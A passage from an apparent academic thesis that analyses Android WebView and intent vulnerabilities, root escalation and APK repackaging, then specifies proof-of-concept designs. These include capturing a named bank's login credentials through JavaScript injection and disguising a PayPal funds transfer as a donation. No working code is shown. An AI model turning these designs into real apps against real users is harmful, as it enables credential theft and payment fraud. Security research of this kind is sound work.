either case, both the host and child frame share the interfaced functions. However, regardless 
of the origin of the interfaced call, when a callback is executed (via loadUrl(“javascript:…”)), the 
script is executed on the host frame. This would allow: 
5. A malicious embedded frame to perform actions on the parent page. 
6. A malicious parent page, hosting the legitimate page on the iframe, and receiving the 
callbacks instead. 
Citing RFC 645417, the document states, in its conclusion: “Content that carries its origin's 
authority is granted access to objects and network resources within its own origin.  This 
content is also granted limited access to objects and network resources of other origins, but 
these cross-origin privileges must be designed carefully to avoid security vulnerabilities.” 
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The hosted iframe could invoke code on the interfaced object. The same object code, in turn, 
could invoke code on the host frame. Therefore, a “hole” is created, through which scripts from 
different origins could communicate. 
Therefore, the same-origin policy, as defined above, is broken on the WebView component. 
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3.5.1.4 Event Sniffing and Hijacking 
Overview 
As exposed before, the WebView component allows to interact with the webpage content, 
injecting JavaScript code. Interaction with the browsing flow, on the other hand, is also 
provided, using a delegate class, extending android.webkit.WebViewClient, which can be 
extended to interact and be notified of the web navigation. 
Just as it can be used to be notified and interact with the navigation, it can also be used 
maliciously, sniffing the navigation session, and hijacking it to load certain webpages or 
perform certain actions on behalf of the user. In other words, it would allow an attacker to 
perform a sophisticated type of phising. 
Specifically, the WebViewClient class handles the following functions, as exposed at the SDK 
documentation: 
Methods that are notified of browsing events (used for sniffing): 
 void doUpdateVisitedHistory(WebView view, String url, boolean isReload) 
Notify the host application to update its visited links database. 
 void onFormResubmission(WebView view, Message dontResend, Message resend) 
As the host application if the browser should resend data as the requested page was a 
result of a POST. 
 void onLoadResource(WebView view, String url) 
Notify the host application that the WebView will load the resource specified by the 
given url. 
 void onPageFinished(WebView view, String url) 
Notify the host application that a page has finished loading. 
 void onPageStarted(WebView view, String url, Bitmap favicon) 
Notify the host application that a page has started loading. 
 void onReceivedError(WebView view, int errorCode, String description, String 
failingUrl) 
Report an error to the host application. 
 void onReceivedHttpAuthRequest(WebView view, HttpAuthHandler handler, String 
host, String realm) 
Notifies the host application that the WebView received an HTTP authentication 
request. 
 void onReceivedLoginRequest(WebView view, String realm, String account, String 
args) 
Notify the host application that a request to automatically log in the user has been 
processed. 
 void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) 
Notify the host application that an SSL error occurred while loading a resource. 
 void onScaleChanged(WebView view, float oldScale, float newScale) 
Notify the host application that the scale applied to the WebView has changed. 
 void onTooManyRedirects(WebView view, Message cancelMsg, Message 
continueMsg) 
This method was deprecated in API level 8. This method is no longer called. When the 
WebView encounters a redirect loop, it will cancel the load. 
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 void onUnhandledKeyEvent(WebView view, KeyEvent event) 
Notify the host application that a key was not handled by the WebView. 
Functions that override browsing events (used for hijacking): 
 WebResourceResponse shouldInterceptRequest(WebView view, String url) 
Notify the host application of a resource request and allow the application to return 
the data. 
 boolean shouldOverrideKeyEvent(WebView view, KeyEvent event) 
Give the host application a chance to handle the key event synchronously. 
 boolean shouldOverrideUrlLoading(WebView view, String url) 
Give the host application a chance to take over the control when a new url is about to 
be loaded in the current WebView. 
Minimum involved Components 
On the vulnerable application: 
1. Activity that loads: 
a. WebView view 
b. Object that extends android.webkit.WebViewClient 
On the web server: 
2. HTML page (or resource that generates one) 
Feasability/Preconditions 
On the vulnerable application: 
1. android.permission.INTERNET permission is defined in the application manifest. 
2. The system has Internet connectivity. 
3. The application has been launched (Activity [component 1.],  is running), and its code 
executes: 
a. setWebViewClient(WebViewClient [component 1.b.])  => Success boundary 
User interaction: 
1. Negligible. Launches the application. 
Specific system requirements (version, additional software…): 
7. None. 
o Components available from API 1. 
o Components not deprecated. 
Success boundaries 
The browsing events are under the supervision and control of the host application from the 
very same moment the WebView delegates these events to the set WebViewClient. 
Why is this a vulnerability? 
When a web page is shown to the user, and the user interacts with the webpage (following a 
link, submitting a form, or any other interaction related to browsing), the system doesn’t 
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necessarily notify the user of the supervision and control of the browsing session, nor the user 
is informed with the current permissions system. 
Therefore, the user could provide sensitive information to malicious web pages, without having 
any way of knowing the legitimacy of the accessed site. 
This could allow, for example: 
8. Triggering phising webpages when the user intends to access a webpage which 
requires credentials. 
9. Logging the user browsing habits. 
10. Invoking actions on the user behalf. 
o An example of this could be the invocation of cross-site request forgery (CSRF) 
attacks, when the user is logged on a system. 
The permissions system doesn’t include this functionality in its list of sensitive behaviors, to be 
explicitly declared, easing the attack.  
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3.5.2 Intercommunication typology 
3.5.2.1 Broadcast Theft 
Overview 
One of the ways Android application can communicate is through the use of broadcast intents. 
The typology of this information exchange is 1-to-n, being one application component the 
issuer of the message, and any number of applications the receivers, which will be defined as 
extensions of android.content.BroadcastReceiver. 
In order for a BroadcastReceiver to receive a broadcast intent, it must be explicitly declared on 
the application manifest, or dynamically registered through the android.content.Context. 
registerReceiver(IntentFilter). It may also declare a numerical priority, which will define the 
order of reception of the broadcast.  
This type of intent is classified using the “action” element, and the “category” element. 
 Action 
o It’s a String that follows package convention (android.*.ACTION_NAME for 
system actions, and *.ACTION_NAME for every other custom action, being * 
the application unique package root which declares the action. 
o It stands for the type of behavior that should trigger a receiver. 
 Category 
o It references a String contained in android.content.Intent, following the 
convention CATEGORY_*. 
o It provides additional information, on how the given broadcast can be handled. 
There is a security restriction that states that system broadcast actions cannot be thrown from 
a user context application. 
However, the package name doesn’t restrict the context where it can be received. Any 
application can receive any broadcast its receiver is registered for – and, if the priority is higher, 
it will prevent other applications to receive the intent they registered for. 
Minimum involved Components 
1. Application, containing: 
a. BroadcastReceiver 
b. Registration  of the BroadcastReceiver: 
i. Either through the application manifest, using <intent-filter> tags, 
statically. 
ii. Or through the registerReceiver(IntentFilter) method, dynamically. 
c. Declared priority for the BroadcastReceiver (higher than other applications 
registered for the same action). 
i. Either through the application manifest, using the android:priority 
attribute of the <intent-filter> tag. 
ii. Or though the IntentFilter.setPriority(priority), on the IntentFilter 
passed to the registerReceiver() method. 
2. Another application, containing: 
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a. Component that issues Context.sendBroadcast(), with the same action defined 
on the [component 1.a.]. 
i. It DOESN’T declare a required permission for the receiver. 
Feasability/Preconditions 
1. The application [component 2.a.] calls sendBroadcast(). 
2. The broadcast is received by [component 1.a.] => Success boundary 
a. Additionally, [component 1.a.] could invoke abortBroadcast(), to stop the 
message from propagating. 
i. Additionally, [component 1.a.] could invoke sendBroadcast(), with the 
same action, but any desired content, for the receivers with lower 
priorities to receive the intent (as long as it isn’t a system broadcast). 
User interaction: 
1. Negligible. Launches the application. 
Specific system requirements (version, additional software…): 
11. None. 
o Components available from API 1. 
o Components not deprecated. 
Success boundaries 
When [component 1.a.] receives the intent it registered for, a potential attack would be 
successful. 
Why is this a vulnerability? 
Specifically, it’s a developer-side vulnerability. If sensitive broadcasts are issued without 
specifying a permission, they are publicly available within the system. It’s important to note 
that sensitive system broadcasts follow this rule, therefore decreasing the impact of this 
vulnerability on sensitive information, such as SMS message reception or phone call handling. 
Priorities of user context applications are not enforced a specific order by the system, therefore 
any application could receive broadcast intents for which it has registered for. This means that 
any information sent through this type of intent is publicly accessible to any application on the 
system. 
Additionally, broadcasts are handled synchronously (this is, receivers are passed the intent in a 
waterfall fashion, starting from those with higher priority, and continuing with lower priorities). 
This, combined with the abortBroadcast() method, allows an attacker not only to capture 
information, but to stop it from propagating to other legitimate receivers. 
Furthermore, a BroadcastReceiver can issue another broadcast intent that, combined with the 
previous techniques, could to a man-in-the-middle attack, regarding application 
intercommunication. 
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3.5.2.2 Activity Hijacking 
Overview 
Activities are launched, just as any inter-component interaction, using an Intent to declare the 
destination, and invoked through the android.content.Context.startActivity() method. For 
flexibility purposes, there are two different ways to instantiate the intent passed to the 
startActivity() method as argument, implicitly and explicitly: 
 Explicit intent: The called component is specified accurately, through its class name, 
which is considered to be unique. In this case, the intent relates to the activity which 
shall be launched as a 1-to-1 relation. 
 Implicit intent: The called component is decided by the system, according to the set 
action, and content scheme. 
This disambiguation is meant to: 
 Explicit: Univocally call an activity, which is in our application context. 
 Implicit: Provide a way to invoke applications according to its functionality, regardless 
of its design or naming conventions. 
Therefore, activities called within the context of an application are usually called explicitly, to 
provide a predictable behavior, but there’s nothing to prevent a developer to call such activity 
through an implicit intent. This requires the called activity to be defined as reachable from 
outside of the application context, using the property “android:exported=true” at the activity 
definition, on the application manifest. 
Minimum involved Components 
1. Application, containing: 
a. Component (service, activity, receiver…) 
b. Activity 
i. Declared as “android:exported=true” on the application manifest. 
ii. Registered with an IntentFilter to receive certain action, category and 
scheme of intent. 
2. Application, containing: 
a. Activity 
i. Declared as “android:exported=true” on the application manifest. 
ii. Registered with an IntentFilter to receive the same intents declared in 
[component 1.b.ii.]. 
b. Application name is the same [component 1.] uses, with an space added to the 
end of the name. Optional, but meant to deceive a user. 
c. Application icon is the same [component 1.] uses. Optional, but meant to 
deceive a user. 
Feasability/Preconditions 
1. [Component 1.a.] issues the intent that is intended to be received by the activity 
[component 1.b.] 
2. The user is prompted to choose the application that is meant to handle. The user 
selects the [component 2.]. <= Required user interaction 
3. The activity [component 2.a.] is executed. <= Success boundary 
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User interaction: 
1. The user shall select the malicious application, instead of the legitimate one (being 
deceived to do so). 
Specific system requirements (version, additional software…): 
12. None. 
o Components available from API 1. 
o Components not deprecated. 
Success boundaries 
If the malicious activity has impersonated the activity it intended to replace, the potential 
attack would be successful. 
Why is this a vulnerability? 
Specifically, it’s a developer-side vulnerability. As exposed before, implicit intents should only 
be used in those cases when the user could decide which application should handle the activity 
to be started. However, nothing prevents a developer using a custom action in the intent to call 
inner activities. 
If an implicit intent as such is used, a malicious activity could register to receive the intent 
instead. 
Two countermeasures are specified in the Android system to prevent this: 
 No priority can be programmatically established for an activity, differently to the case 
of BroadcastReceivers. 
 The user is prompted with the application names that can be executed. If the names 
match, the user is shown the package names instead. 
However, the implementation of the second countermeasure is flawed: if we add a space to 
the end of the matching application name, both applications are shown as identical to the user, 
if both icons also match. 
In conclusion, a malicious activity could impersonate a legitimate one and receive sensitive 
data or perform certain actions on a certain application state. 
  
ANALYSIS 
 
48 
3.5.2.3 Service Hijacking 
Overview 
Services can be called in a similar way an activity can be launched, this time using 
startService(Intent), instead of startActivity(Intent). 
The definition of the used intent, analogously, can also be implicit or explicit, as exposed on the 
previous vulnerability (thus it won’t be exposed here again – please check the overview on 
“Activity Hijacking”). 
However, there’s a main difference with the activity hijacking. When an activity is launched 
implicitly, the user is prompted to choose which activity should be run but, in the case of a 
service launch, a service is automatically started by the system, based on the priority of the 
available services handling the defined action. 
Minimum involved Components 
1. Application, containing: 
a. Component (service, activity, receiver…) 
b. Service 
i. Declared as “android:exported=true” on the application manifest. 
ii. Registered with an IntentFilter to receive certain action of intent. 
2. Application, containing: 
a. Service 
i. Declared as “android:exported=true” on the application manifest. 
ii. Registered with an IntentFilter to receive the same intents declared in 
[component 1.b.ii.]. 
iii. Registered with a priority higher than the defined by [component 2.b.]. 
Feasability/Preconditions 
1. [Component 1.a.] issues the intent that is intended to be received by the service 
[component 1.b.] 
2. The malicious service [component 2.a.] is executed. <= Success boundary 
User interaction: 
1. Negligible. User launches the application. 
Specific system requirements (version, additional software…): 
13. None. 
o Components available from API 1. 
o Components not deprecated. 
Success boundaries 
The legitimate service isn’t executed, being the malicious service run instead. 
Why is this a vulnerability? 
Specifically, it’s a developer-side vulnerability. When a service inside of an application context 
is to be executed by a component inside of the same context, it should be explicitly declared. 
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The analyzed IDE on the SDK (ADT/Eclipse) doesn’t notify the developer of this issue, not 
parsing the called package name. Thus, a developer not aware of this issue could define a 
service, establishing a permission to run that specific one, thinking that’s the whole security 
measure needed for an exported service, using an implicit call. 
Therefore, an application using implicit intents to launch a service that should be defined 
univocally, is prone to have its behavior modified by a service impersonating the legitimate 
one, by using the same action in its definition, with a higher priority.  
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3.5.2.4 Malicious Broadcast Injection 
Overview 
As exposed on “Broadcast Theft” vulnerability analysis, broadcast intents are meant to be 
received by a multiple number of applications, in cascade. It makes it especially useful for 
system messages that should notify every application in the system (sometimes matching 
certain permissions), such as low battery status. It also provides a way to expose an application 
messages to other applications that might consume that information (i.e. an RSS checker 
notifies of the update of a feed to any application that might be interested in downloading the 
updated feed). 
The other main use of a broadcast intent is to execute callbacks, such as when a service has 
finished running a method, passing back the result as an extra of the intent. 
In that case, it means that any application of the Android system could invoke a 
sendBroadcast(), with that callback BroadcastReceiver as destination, and effectively pass 
information, as long as we know the action, and the extras handled by the receiver. 
Minimum involved Components 
1. Application, containing: 
a. Component (service, activity, receiver…) 
b. BroadcastReceiver 
i. Declared as “android:exported=true” on the application manifest. 
ii. Registered with an IntentFilter to receive certain action of intent. 
iii. DOESN’T specify a permission to be run. 
2. Application, containing: 
a. Component (service, activity, receiver…) 
i. Issuing a sendBroadcast with the same action defined in [component 
1.b.ii.]. 
Feasability/Preconditions 
1. [Component 1.a.] issues a sendBroadcast with the intent action defined in [component 
1.b.ii.]. 
2. The BroadcastReceiver [component 1.b.] is executed. <= Success boundary 
User interaction: 
1. Negligible. User launches the malicious application [component 2.a.]. 
Specific system requirements (version, additional software…): 
14. None. 
o Components available from API 1. 
o Components not deprecated. 
Success boundaries 
When the BroadcastReceiver is executed from outside of the legitimate application context, 
that could allow a potential attack. 
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Why is this a vulnerability? 
As with every other intercommunication vulnerabilities, it conforms a developer-side 
vulnerability. Android system provides one way to secure exported components (this is, 
available from outside the content of its declaring application), using a permission at the 
receiver definition, on the application manifest. However, it’s on the developer hands to 
implement this effectively. 
Just as the developer is encouraged to set a permission when declaring a service, broadcast 
receivers aren’t awarded the same consideration, and a warning isn’t triggered by the 
ADT/Eclipse when a permission isn’t used in this case. 
This could potentially allow the injection of fake data, or triggering unexpected behavior on an 
application.  
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3.5.2.5 Malicious Activity Launch 
Overview 
As exposed before, when analyzing “Activity Hijacking” vulnerability, an application activity can 
impersonate the activity of another application, given certain circumstances. However, the 
opposite can be achieved also, having an activity executed from outside of its application 
context. 
This is perfectly common, and not a matter of concern, since it’s the way the application flow 
takes it shape, through a chain of called activities. However, it’s important how the activity 
processes the calling intent. 
As we know, intents can be appended a set of extra information (namely, “extras”), upon which 
the application behavior can depend. They act just the same way parameters act in a typical 
computer program. 
Just as any computer program, these arguments can be taken in account or ignored. Usually, 
their validity is checked before allowing execution (for instance, a web browser might check 
that a URL passed as parameter is well-formed). 
If an activity doesn’t check the validity of the extras, unexpected behavior could take place. 
Minimum involved Components 
1. Application, containing: 
a. Activity 
i. Optionally, accessing the extras of the calling intent. 
ii. Defined in the application manifest as “exported” or set to receive 
“launch” intents. 
2. Application, containing: 
a. Component (activity, service, receiver…) 
i. Triggering startActivity() with an intent calling the activity [component 
1.a.]. 
1. Optionally, adding extras to modify the activity behavior, with 
the extras names used in [component 1.a.i.]. 
Feasability/Preconditions 
1. [Component 2.a.] issues the intent that is intended to be received by the activity 
[component 1.a.] 
2. The activity [component 1.a.] is executed. <= Success boundary 
3. Optionally, extras are taken in consideration without performing a check (that will 
depend on the type of the content and its use – not depicted here) <= Success 
boundary (specific) 
User interaction: 
1. The user shall select the target application, when prompted (in case of duplicity). 
Specific system requirements (version, additional software…): 
1. None. 
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o Components available from API 1. 
o Components not deprecated. 
Success boundaries 
1. When the activity [component 1.a.] is executed, that could allow a potential attack, if 
that activity performs a behavior desired by the attacker when executed. 
o Additionally, if extras are parsed from the starting intent, and no validity check 
is performed on them (depending on the information type and how it is used –
therefore not depicted here at the analysis), it could allow further exploitation, 
if sensitive extras were injected. 
Why is this a vulnerability? 
As a developer-side vulnerability, applications designed with an activity reachable from the 
system launcher (in general, with a shortcut accessible by the user), and that additionally use 
the extras included in the intent that launched the activity (probably to re-use code), could 
suffer from malicious activity launches. 
Combined with reverse engineering techniques on the target application, an attacker could 
infer which extras are taken in account by the activity, and inject them into an intent thrown to 
launch the given activity. 
Although most of the times this would only cause the activity main screen to show up, it could 
also lead to leaking sensitive information or invoking other unpredictable behavior.  
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3.5.2.6 Malicious Service Launch 
Overview 
The same way an activity can be launched through an intent, from outside the application 
context, as long as some requirements are fulfilled, a service can be started by an external 
application. 
To allow this, however, the developer must explicitly declare this application as external, thus 
he is expected to acknowledge that external applications will be able to execute his. 
Still, depending on the specific behavior of the service, and the way it takes the calling intent 
extras as parameters, unpredictable behavior could occur. 
Minimum involved Components 
1. Application, containing: 
a. Service 
i. Optionally, accessing the extras of the calling intent. 
ii. Defined in the application manifest as “exported” 
2. Application, containing: 
a. Component (activity, service, receiver…) 
i. Triggering startService() with an intent calling the activity [component 
1.a.]. 
1. Optionally, adding extras to modify the activity behavior, with 
the extras names used in [component 1.a.i.]. 
Feasability/Preconditions 
1. [Component 2.a.] issues the intent that is intended to be received by the service 
[component 1.a.], at its creation. 
2. The service [component 1.a.] is started. <= Success boundary 
3. Optionally, extras are taken in consideration without performing a check (that will 
depend on the type of the content and its use – not depicted here) <= Success 
boundary (specific) 
User interaction: 
1. Negligible. User launches the malicious component [2.a.]. 
Specific system requirements (version, additional software…): 
1. None. 
o Components available from API 1. 
o Components not deprecated. 
Success boundaries 
1. When the service [component 1.a.] is executed, that could allow a potential attack, if 
that activity performs a behavior desired by the attacker when executed. 
o Additionally, if extras are parsed from the starting intent, and no validity check 
is performed on them (depending on the information type and how it is used –
therefore not depicted here at the analysis), it could allow further exploitation, 
if sensitive extras were injected. 
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Why is this a vulnerability? 
Again, it’s a vulnerability that may be created by a developer. 
Once a service is set as “exported” on the application manifest, any component of the Android 
system is able to launch an intent that executes the service, through startService(). This doesn’t 
constitute a vulnerability itself, but it’s rather a system feature. 
However, if the developer is unaware of the consequences of exporting a service, the code of 
the service might take any extra parameter passed in the intent as safe, and the behavior from 
that point could be guided by an attacker, carefully injecting extras that shall be used at the 
service code. 
This of course requires the attacker to have previous knowledge of the service definition – 
easily achievable disassembling the target application []. 
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3.5.3 Privilege Escalation typology 
3.5.3.1 Rage Against the Cage 
Overview 
Serving the remote shell available on Android devices, the ADB (Android Debug Bridge) is 
constantly running as a background service. And, just like any shell or terminal, it runs on the 
mode the user is allowed to. 
However, given it’s a system service, on start it runs under superuser/root mode, forking then 
into user mode, and finishing the original superuser process. 
On the other hand, most (although not all) Android distributions include a maximum number 
of processes that can run concurrently, defined as NPROC, inherited from its Linux core. 
If the ADB service isn’t coded taking in account the possibility of reaching the process limit, it 
could stall in superuser mode, being unable to fork into the user mode process. 
Minimum involved Components 
1. Application, containing: 
a. Native code library, defined as JNI (Java Native Interface), so that it’s reachable 
from the application. 
b. Component (activity, service, receiver…): 
i. Invoking the [component 1.a.]. 
Feasability/Preconditions 
1. NPROC maximum number of processes must be a finite number, defined on the target 
system 
2. Android version is 2.2 or below 
Success boundaries 
The ADB terminal starts running as root after successful invocation of the native code. 
Why is this a vulnerability? 
Rooting, as gaining super user mode is known colloquially, is usually performed in order to 
achieve extra functionality on the user device, or to modify certain parts of the system to the 
user will. It provides unlimited access to the device resources. 
Of course, this can also be maliciously used, since an application exploiting a rooting bug would 
immediately override its permissions, and would be able to perform any action, through shell 
commands (instead of the API methods). 
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3.5.4 Reverse Engineering typology 
3.5.4.1 Repackaging 
Overview 
Additionally to the shown possible attacks on Android, there’s a very common malicious usage 
of Android applications. Because of their Java origin, Android’s Dalvik virtual machine 
executable are easily disassembled, since code is never compiled, but assembled into bytecode 
and packaged into a compressed file, an .APK file. 
This allows attackers to: 
 Analyze the code, to reverse engineer used protocols, encryption keys or other secrets, 
embedded into the code. 
 Plagiarize a successful application on the Play Store, changing the external appearance 
and any data related to the original author, and republish it, intending to obtain 
monetary profit. 
 Obtain a legitimate copy of a sensitive application, such as banking, modify it to gather 
personal information, and then install it (or make it available for target devices). 
APK file structure 
An APK file is actually a zipped file18, following the .JAR structure used in Java, containing (only 
most important files are listed): 
 “AndroidManifest.xml”: The manifest exposing the launch activity, permissions, intent 
filters, and themes, among other application information statically defined by the 
developer. 
o It is coded, but easily recoverable into the original XML format. 
 “res” folder: Contains the resources added by the developer (images, layouts, etc.). 
 “classes.dex”: Is the assembled Java code, in bytecode format 
o This format can be converted into “smali”19 code, closer to a regular high level 
programming language,  which can be converted back into bytecode. 
 “META-INF” folder: It contains the RSA signature for the application. 
When reassembled this cannot be recovered, since the APK file checksum will be different, 
preventing the replacement of legitimate applications. 
Success boundaries 
An application is successfully disassembled, modified, reassembled, and installed on a target 
device. 
Why is this a vulnerability? 
Published applications can be analyzed to retrieve keys embedded in the code, or modified into 
a replica which performs different actions  
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3.6 Use cases 
In order to avoid redundancy, use case patterns were identified on every application. These 
definitions follow the following assumptions: 
 System is a necessary actor on the system, and represents external interaction (such as 
any type of received data that isn’t actively queried by the user). 
 Installing an application is not an user interaction, since the use cases only take a 
successfully deployed application as use case scope. 
3.6.1 Invocation  
This use case represents the different ways an application component may be invoked: 
 
FIGURE 3: INVOCATION USE CASE 
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3.6.2 WebView interaction  
When a webpage is loaded on a WebView, these are the possible interactions a user can 
peform on it, and the interactions that can be performed by the system, at the wishes of an 
attacker: 
 
FIGURE 4: WEBVIEW INTERACTION USE CASE 
3.6.3 Intent action collision 
This could be an abstraction of the interaction required to select a intent destination, in case of 
collision of package names, when a priority order isn’t or can’t be established: 
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FIGURE 5: INTENT ACTION COLLISION USE CASE 
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4 Design 
In this phase, the information yielded by the previous analysis is gathered, to define the actual 
implementation of the proofs of concept, for each different vulnerability. 
More specifically, at this stage, the minimum required components will be defined using UML 
class diagrams, expressing the relationships between them, and their methods and attributes. 
This notation was chosen due to the inherent Java nature of Android development, consistent 
only with the use of object orientation. 
Additionally, success boundaries will be turned into specific functional requirements capable of 
demonstrating the effectiveness of each proof. 
In the WebView typology, the success of the attacks don’t just rely on the local environment of 
the device, but on content set at external web servers, which will take an active role, acting as 
part of the attack vector, or a passive role, their content being subject to local manipulation or 
access. 
Although in certain attacks, real websites will be used as targets, for every other purpose, a  
web server of our ownership was used, along with two different domain names: 
 ALBERTORI.CO 
 WYSYWYG.TK 
The motivation for using different domain names comes from the same-origin policy. As 
exposed at the analysis phase, this policy should be enforced by web browsers, limiting the 
communication between web pages shown from different domains. 
On the other hand, intercommunication typology will always depend on two separate pieces of 
software, each one with a class diagram, and different requirements. 
About these requirements, the distinction between functional and non-functional 
requirements will be disregarded, since these are exploits, whose main and only functional 
requirement is the defined success boundary, for each, and every other requirement is non-
functional, specifying how the boundary is achieved.  
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4.1.1 WebView typology 
4.1.1.1 Javascript Injection 
Overview 
Description 
In this case, a full-fledged example shall be used, showcasing how private information such as 
passwords can be exposed through the use of JavaScript injection. 
A mainstream Spanish bank is chosen for this proof of concept: Bankia. Its personal banking 
web service is to be used as a target, in its mobile version – aside from the fact that the 
application will access this website from a mobile device, the desktop version obfuscates the 
password, making the process more complicated (although still feasible). 
The URL of this website is https//m.bankia.es/es/login/. 
It’s important to note that, since it’s out of the author control, this website could be relocated, 
or even have its HTML structure modified, actions which will render the proof of concept 
unusable. However, this technique/vulnerability is exploited in every other WebView 
application here exposed. 
Abstract / objectives 
 Access Bankia personal banking service, mobile version. 
 Perform an JavaScript injection that: 
o Retrieves the login information on submit. 
o Allows the user to proceed naturally to the personal page, when logged in. 
 Show the retrieved data as a demonstration of reaching success boundaries. 
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Class diagrams 
 
Application requirements 
Id Description 
WV-JS-1 The application shall access the banking website, through a WebView 
WV-JS-2 The WebView shall activate JavaScript 
WV-JS-3 The WebView shall load a URL with JavaScript payload, such as “javascript:…” 
WV-JS-4 The JavaScript payload shall notify the application with  the login data 
WV-JS-5 The login data shall be shown to the user (to demonstrate access) 
WV-JS-6 The application shall have the INTERNET permission defined in it manifest 
TABLE 4: JAVASCRIPT INJECTION APPLICATION REQUIREMENTS 
Webpage requirements 
Id Description 
WV-JS-W-1 Site shall contain a <form> element 
WV-JS-W-2 Input names shall be named ‘numeroDocumento’ and ‘contrasena’ 
TABLE 5: JAVASCRIPT INJECTION WEBPAGE REQUIREMENTS 
  
FIGURE 6: JAVASCRIPT INJECTION CLASS DIAGRAM 
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4.1.1.2 Frame Confusion (integrated with Sandbox Holes) 
Overview 
Description 
This proof of concept shall demonstrate how same-origin policy is violated when an object is 
made reachable (is interfaced) to the WebView, making every content on the application 
browser reach the same functions, even within frames of different domains. 
This communication between frames is achieved through the use of callbacks, as exposed in 
the analysis, where the frame is either the victim or the attacker. In this case, the frame will be 
the attacker, since it presents a typical case (e.g. the legitimate web page is either vulnerable to 
XSS, it has been subject of modifications, or one of the included external frames or scripts has 
been compromised). 
Therefore, the attacker script (on the frame) will inject data to the host web site, calling a 
function that, in turn, will return a callback to the host (which will act upon it). 
Regarding origin, in this case, the legitimate website (the host), shall be hosted under 
“ALBERTORI.CO” domain, whilst the attacker site (appearing as a frame on the host) shall be 
located under “WYSYWYG.TK” domain. 
Both sites are also custom coded for this specific attack. 
Abstract / objectives 
 Application: 
o Access the legitimate web site, on a WebView. 
o Interface an object to the WebView. 
o Include a method in the object, that injects javascript loading a URL, calling a 
function on the legitimate site script. 
 Legitimate HTML: 
o Provide a script function that receives information and shows it on the visible 
HTML. 
o Include a frame with the attacker web site. 
 Attacker HTML: 
o Provide a script function that calls the interfaced method on the application. 
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Class diagrams 
Application requirements 
Id Description 
WV-FC-1 The application shall access the legitimate website, through a WebView 
WV-FC-2 The WebView shall activate JavaScript 
WV-FC-3 The application shall have the INTERNET permission defined in it manifest 
WV-FC-4 An object shall be interfaced to the WebView 
WV-FC-5 One of the objects methods shall load a JavaScript URL, calling a legitimate 
website script function 
TABLE 6: FRAME CONFUSION APPLICATION REQUIREMENTS 
Attacker webpage requirements 
Id Description 
WV-FC-W-A-1 The HTML shall link or contain JavaScript with a function reflecting data passed 
to it 
TABLE 7: FRAME CONFUSION ATTACKER WEBPAGE REQUIREMENTS 
Target webpage requirements 
Id Description 
WV-FC-W-T-1 The HTML shall link or contain JavaScript with a function that accesses the 
method interfaced to the WebView (WV-FC-5) 
TABLE 8: FRAME CONFUSION TARGET WEBPAGE REQUIREMENTS 
  
 FIGURE 7: FRAME CONFUSION CLASS DIAGRAM 
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4.1.1.3 Event Sniffing and Hijacking 
Overview 
Description 
Following the JavaScript Injection proof of concept, this application shall act just as a real 
malware application would work on the wild. For this matter, a mainstream online payments 
service was chosen: PayPal. 
PayPal does provide its own Android application – however, to make in-application payments, 
it’s possible to integrate a button/link that leads to a donation (or payment) webpage, provided 
by PayPal. 
When shown in an application, inside its own WebView, this application can have complete 
control on what is shown on it, as well as the interactions performed by the user or system. 
Therefore, it can effectively direct the session, and modify the content when shown. 
Therefore, it’s possible to deceive an user into login into his account, and then modify the 
contents via JavaScript injection, making him think he’s authorizing a certain amount donation, 
while he’s effectively making a funds transfer for a different amount, or with a different 
destination indeed. 
That shall be the final objective of this proof of concept, while trying to keep the on-the-fly 
JavaScript modifications unnoticeable by the user. 
It’s important to note that, since it’s out of the author control, this website could be relocated, 
or even have its structure modified, actions which will render the proof of concept unusable. 
Abstract / objectives 
 Deceive the user into a funds transfer page, in PayPal, through: 
o Controlling the web browsing: 
 Being notified of the current location 
 Overriding the loading of a certain location 
 Automatizing the loading of a series of sites (browsing simulation) 
o Modifying the website contents, via JavaScript injection. 
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Class diagrams 
Application requirements 
Id Description 
WV-SH-1 The application shall access the legitimate website, through a WebView 
WV-SH-2 The WebView shall activate JavaScript 
WV-SH-3 The application shall have the INTERNET permission defined in it manifest 
WV-SH-4 A WebViewClient shall be attached to the WebView 
WV-SH-5 The WebViewClient shall be notified of when a webpage has loaded 
WV-SH-6 In its case, the WebViewClient shall redirect the user to a different webpage 
FIGURE 8: EVENT SNIFFING AND HIJACKING CLASS DIAGRAM 
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WV-SH-7 In its case, the WebViewClient shall modify the shown website contents 
(through JavaScript injection) 
WV-SH-8 Modifications shall be invisible to the user (he shall not see the original contents 
of the site, before they’re modified) 
WV-SH-9 The modifications made shall indicate that the funds transfer page actually is a 
small donation 
WV-SH-10 The application shall provide an initial activity, instructing the user to perform a 
donation, and linking to the WebView 
TABLE 9: EVENT SNIFFING AND HIJACKING REQUIREMENTS 
Webpage requirements 
Since the session to hijack is highly complex, there’s no specific requirement, but having the 
PayPal personal website (http://www.paypal.com) at the November 2012 status (preexistent 
session flow and HTML elements).1  
                                                             
1 Last time PayPal website was checked: January 17th 2013. 
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4.1.2 Intercommunication typology 
4.1.2.1 Broadcast Theft 
Overview 
Description 
The main Broadcast Theft risk consists in that personal information travelling through the 
system via intents can arrive at a malicious receiver, instead of the legitimate one. 
Every type of information is shared through intents in the Android system, including personal 
information such as phone calls, contacts information or messages. In the case of the latter, 
there’s one way of sending SMS messages even when not having declared the necessary 
permission. This involves using a broadcast intent. 
The problem emerges when more than one application is ready to handle SMS type broadcast 
intents. It’s in the user’s hands to choose the application he prefers to use to send the 
message. If he chooses the right one, the risk will pass unnoticed. But, if he chooses a 
malicious application, he could unknowingly expose personal information to it. 
Android system provides a way to discern which application to select, showing the icon and 
name and, in case of name coincidence, the package name. 
However, as discovered at the analysis phase, there’s no trim() applied to the application name, 
so adding a trailing space to the malicious application, while sharing the legitimate application 
name, shall make both applications appear identical to the user, creating a chance the user 
selects the malicious one. 
This is of course dependent on the specific phone and set of icons used, so the author’s system 
will be taken as a reference for the icon and name. 
Abstract / objectives 
 Code an application able to send a message, through a broadcast intent. 
 Code an application able to receive that message, imitating the legitimate default 
application 
o With the same icon 
o The same name, adding a trailing space 
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Attacker 
Class diagrams 
Requirements 
Id Description 
IC-BT-A-1 The application shall register for receiving an SMS_SEND broadcast intent 
IC-BT-A-2 The Broadcast Receiver shall provide the SMS data to an Activity, which will 
show it, in turn 
IC-BT-A-3 The application icon design shall impersonate the legitimate messaging one, 
sharing its name 
TABLE 10: BROADCAST THEFT ATTACKER REQUIREMENTS 
  
FIGURE 9: BROADCAST THEFT ATTACKER CLASS DIAGRAM 
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Target 
Class diagrams 
Requirements 
Id Description 
IC-BT-T-1 The application shall register for receiving an SMS_SEND broadcast intent 
IC-BT-T-2 The Broadcast Receiver shall provide the SMS data to an Activity, which will 
